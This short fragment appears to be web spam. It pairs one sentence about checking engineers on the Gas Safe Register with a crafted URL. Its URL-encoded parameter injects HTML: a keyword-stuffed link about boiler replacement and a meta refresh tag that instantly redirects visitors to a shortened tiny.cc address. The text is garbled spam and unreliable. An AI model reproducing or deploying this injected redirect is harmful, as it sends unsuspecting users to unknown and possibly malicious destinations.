You can even use the Gas Safe Register web site to verify an engineer is on the register. http://[email protected]@[email protected]/php.php?a%5B%5D=%3Ca+href%3Dhttp%3A%2F%2Fdelphi.larsbo.org%2F%3Ecommercial+boiler+replacement%3C%copyright%3E%3Cmeta+http-equiv%3Drefresh+content%3D0%3Burl%3Dhttp%3A%2F%2Ftiny.cc%2Fd2cpzz+%2F%3E